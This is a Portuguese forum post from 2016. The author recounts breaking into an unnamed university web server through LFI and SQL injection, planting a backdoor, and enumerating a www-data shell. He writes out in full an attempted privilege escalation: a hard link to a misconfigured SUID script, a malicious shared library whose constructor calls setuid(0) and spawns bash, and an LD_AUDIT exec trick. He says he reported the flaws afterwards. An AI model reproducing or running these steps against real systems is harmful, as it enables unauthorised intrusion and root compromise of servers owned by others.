removido
(usa Nenhuma)
Enviado em 07/06/2016 - 20:45h
NOTA À (OMITIDO): Eu quero deixar bem claro que absolutamente NENHUM DANO foi causado da minha parte e que eu não tive nenhuma intenção de incentivar o cracking e qualquer tipo de ataque, ah não ser informa-los e apresentar possíveis melhorias e também usar este material produzido por mim como tema de debate à assuntos relacionados a Segurança da informação exclusivamente aqui neste tópico e em nenhum outro site, também não foi feito o download de nenhuma informação do sistema.
O e-mail contendo as respectivas informações sobre as vulnerabilidades foi extremamente detalhado e se for entendido que o ocorrido mereça alguma medida judicial sendo tratado como crime (o que ao meu ver é extremamente desnecessário, visto que minha intenção claramente foi ajudar e em nenhum momento prejudicar), foi enviado outro e-mail para o setor de informática com nota especial pela minha advogada explicando minuciosamente o que foi dito por mim acima entre parênteses, para que qualquer mal entendido seja resolvido sem a necessidade de intervenções judiciais se solicitada por parte da empresa em questão não citada ou insinuada por mim em nenhum momento neste tópico, sendo este tópico não referente a nenhuma instituição e, ou empresa atualmente existente. :)
Tópico anteriormente removido por questões de uso de imagem/informação privada não autorizada, famoso "Exp0sed information".
Obrigado Fábio Berbert de Paula pela consideração, que contatou-me via e-mail, comentando um trecho de texto em que os responsáveis relatavam que algumas informações em meu tópico (como endereços e nomes) denegria a imagem e incentivava crimes cibernéticos, e também facilitaria ataques (facilitaria ainda mais ataques) ao servidor em questão. Pois bem, omitido informações de imagem privada; repostarei o tal tópico.
Originalmente postado domingo, no dia: 05/06/2016
Então pessoal, venho com um assunto polêmico aqui.
Antes de tudo, pelo titulo pode parecer que estou generalizando, mas esse não é o caso.
Conversando com uns colegas no irc que manjam dos paranauê, trocando infos e etc. Começamos a discutir o porquê de servidores de universidades serem frequentemente invadidos por hackers. Nessas conversas cheguei a uma conclusão que faz parte da minha opinião pessoal.
Comumente servidores de faculdade hospedam muitos sites, sendo eles de professores, projetos pessoais de funcionários, projetos de terceiros, sites informativos, sites de outras áreas da universidade e inclusive sites feitos pelos próprios acadêmicos.
Em um dos meus pentests de rotina, eu encontrei um servidor da (OMITIDO) vulnerável permitindo rodar comandos por local file inclusion, na plataforma web.
Tendo em mente o fato de servidores de universidades (nem todas) hospedarem todo tipo de porcaria de seus alunos/funcionários eu pensei comigo: "Essa não pode ser a única falha, vou perder um tempo checando outros sites do servidor"
E BOOM, cada site checado usando linguagem web, havia no mínimo um script vulnerável (não vou entrar em detalhes da vulnerabilidade porque acho que seria um desrespeito mais com os moderadores do VoL que perderiam um tempo apagando meus posts) então eu tive certeza da minha conclusão.
Na shell do bixinho fui checar a versão do kernel, 3.16.*; não tenho nada pra esse kernel, legal... for now, dei um exit na shell.
Fui checar no zone-h o histórico do IP e para minha surpresa, veja só:
Mais de 4 hackers já vinham fazendo uma zoeirinha no servidor.
Checando a segunda página do zone-h vi que o servidor já era um velho alvo, e os administradores fodões, técnicos especialistas com superior e a po.rra toda, não haviam obtido sucesso no securing do servidor em 4 (QUATRO!) anos, então eu percebi a minha facilidade em cair em uma shell.
Dando uma olhada nas index dos caras (dos defacers) percebi que continua rodando o mesmo sistema, com o mesmo kernel... beleza, nem me aprofundei em procurar as falhas do Debian Jessie por ora.
Conectei na minha porta mágica (hehe), e por curiosidade rodei um:
wecangotroot[tmp]$ find / -type f -user root -perm /u+s
...
...
/home/grupos/(OMITIDO)/aula/sh/tools/sqlrevise.sh
...
...
wecangotroot[tmp]$ ls -l /home/grupos/(OMITIDO)/aula/sh/tools/sqlrevise.sh
-rwsrwxr-- 1 root users 15025 May 4 16:21 sqlrevise.sh
Vamos tentar descobrir a intenção do administrador com esse raio de permissão...
Chutando um cálculo rápido aquii, acho que essa é uma permissão 774, como você pode observar: owner e grupo tem permissão total e outros tem permissão apenas de leitura, até ai... ta tudo certo, é uma permissão relativamente segura.
MAS veja o mistake; o grupo é "users" e a permissão do grupo é total! e o premio é a permissão especial suid! PQP admin, onde que tu aprendeu a fazer uma coisa tão legal dessas HAHA.
Por algum motivo o user root setou a permissão errada no grupo. Como o grupo é users, a permissão deveria ser apenas r ou 4 de leitura (ou o grupo não deveria ser users!), e não rwx ou 7, sacou? pulta mistake que pode valer a vaga de administrador do especialista responsável.
Fui checar o grupo do usuário local, e veja só:
wecangotroot[tmp]$ id
uid=33(www-data) gid=100(users) grupos=100(users),21(locate),91(video),92(audio),98(power)
Não me pergunte o porquê do usuário www-data estar nesses grupos (como um usuário de desktop comum), sem comentar que eu poderia tranquilamente rodar um "shutdown -h now".
Bom, você deve estar se perguntando: "Mas que tanso! porque não spawna logo uma shell root nesse tal "sqlrevise.sh"?"
Porque shell script por security reasons infelizmente não permite o uso de suid (também não sei porque esse arquivo estava com permissão suid).
De qualquer maneira, decidi tentar um "hard link attack" me baseando em uma possível vuln na GNU C library, usando as permissões desse tal "sqlrevise.sh", ficando assim:
wecangotroot[tmp]$ ln /home/grupos/(OMITIDO)/aula/sh/tools/sqlrevise.sh /home/grupos/(OMITIDO)/aulas/teste/edit/xpl/wecan
wecangotroot[tmp]$ ls -l /home/grupos/(OMITIDO)/aula/sh/tools/teste/edit/xpl/wecan
-rwsrwxr-- 1 www-data users 148456 Jun 3 19:21 wecan
poderia ter usado um outro binário qualquer com permissão suid? poderia, mas se o admin começou a fazer o securing do servidor foi removendo as permissões suid default do Debian. HAHA
wecangotroot[tmp]$ exec 666< /home/grupos/(OMITIDO)/aula/sh/tools/teste/edit/xpl/wecan
wecangotroot[tmp]$ rm -rf /home/grupos/(OMITIDO)/aula/sh/tools/teste/edit/xpl/
wecangotroot[tmp]$ echo 'void __attribute__((constructor)) init(){setuid(0);system("/bin/bash");}'>/home/grupos/(OMITIDO)/aula/sh/tools/teste/edit/xpl.c
wecangotroot[tmp]$ gcc -w -fPIC -shared -o /home/grupos/ProfIFSC/Profc(omitido)/aula/sh/tools/teste/edit/xpl xpl.c
wecangotroot[tmp]$ LD_AUDIT="\$ORIGIN" exec /proc/$$/fd/666
Shell crashed.
É, definitivamente a glibc versão 2.19-18 não é vulnerável a code execution.
Tentativa inspirada no paper:
https://www.exploit-db.com/exploits/15274/
Minha conclusão final:
Sim, servidores de faculdade são extremamente falhos sem um especialista que realmente sabe o que faz no terminal como administrador.
Não foi difícil conseguir um acesso, visto que a plataforma web estava vulnerável a SQLi e LFI, permitindo code execution pelo usuário local do servidor, foi fácil instalar meu backdoor.
Não sei como funciona esse sistema de virtual hosts em servidores de grande porte como de universidades, se é feito algum tipo de revisão no conteúdo dos arquivos que serão hospedados no servidor, se existe uma equipe responsável pelo securing e reestruturação do servidor... talvez os amigos que fazem superior aqui do VoL saibam como funciona as coisas em relação a este contexto, na universidade.
Neste caso, o servidor claramente estava sob a administração de uma pessoa realmente despreparada ao ponto de configurações importantes do estarem readable para todos usuários, arquivos como httpd.conf, vhosts.conf, meminfo, cpuinfo, binários do servidor com permissão e como se não bastasse o despreparo, o nmap estava instalado e com permissão de execução por qualquer usuário!
Ai já viu né, muitos outros mistakes pessoal, que nem vou comentar.
Observação
Antes que alguém me julgue, eu mesmo digo. Não quero "um minuto de fama" e não estou querendo desmerecer nenhum administrador e nem me gabar.
Apenas me senti na necessidade de comentar sobre isso, visando o fato de que pessoas despreparadas realmente ocupam cargos importantes.
Me senti na necessidade de comentar sobre isso porque vejo domínios gov.br, .edu.br e etc serem pichados muitas vezes por crianças que incrivelmente parecem saber mais que "especialistas".
Claramente é possível rootar este servidor, eu não cheguei a checar as falhas do Debian Jessie mas com certeza este era o caminho.
Já comuniquei os responsáveis pelo servidor (OMITIDO) sobre os scripts que encontrei vulneráveis, mas não comentei sobre as permissões erradas, sobre o nmap e sobre outras coisas que ao meu ver não eram pra estar em um servidor, não comentei justamente pelo securing e reestruturação ser um trabalho do responsável e não meu.
De quebra apresentei um patch para algumas libs que estavam vulneráveis (que já estava disponível pela equipe do Debian desde o inicio do ano), apresentei os códigos corrigidos dos scripts web (ao menos, os que eu chequei) e removi meu backdoor mágico (hehe).
Comentei sobre a importância de um audit framework apenas para monitorar o acesso a syscall importantes como a bind (#define __NR_bind 361) muito usada em sockets de backdoor, entre outros detalhes.
Espero que os administradores leiam atentamente ao meu e-mail e que já esteja tudo corrigido.
É isso pessoal, não tive nenhuma intenção de causar danos, apenas de mostrar como os profissionais da área no Brasil continuam um tanto despreparados.
--
Just bring us some beers, and then we can talk about our systems. :)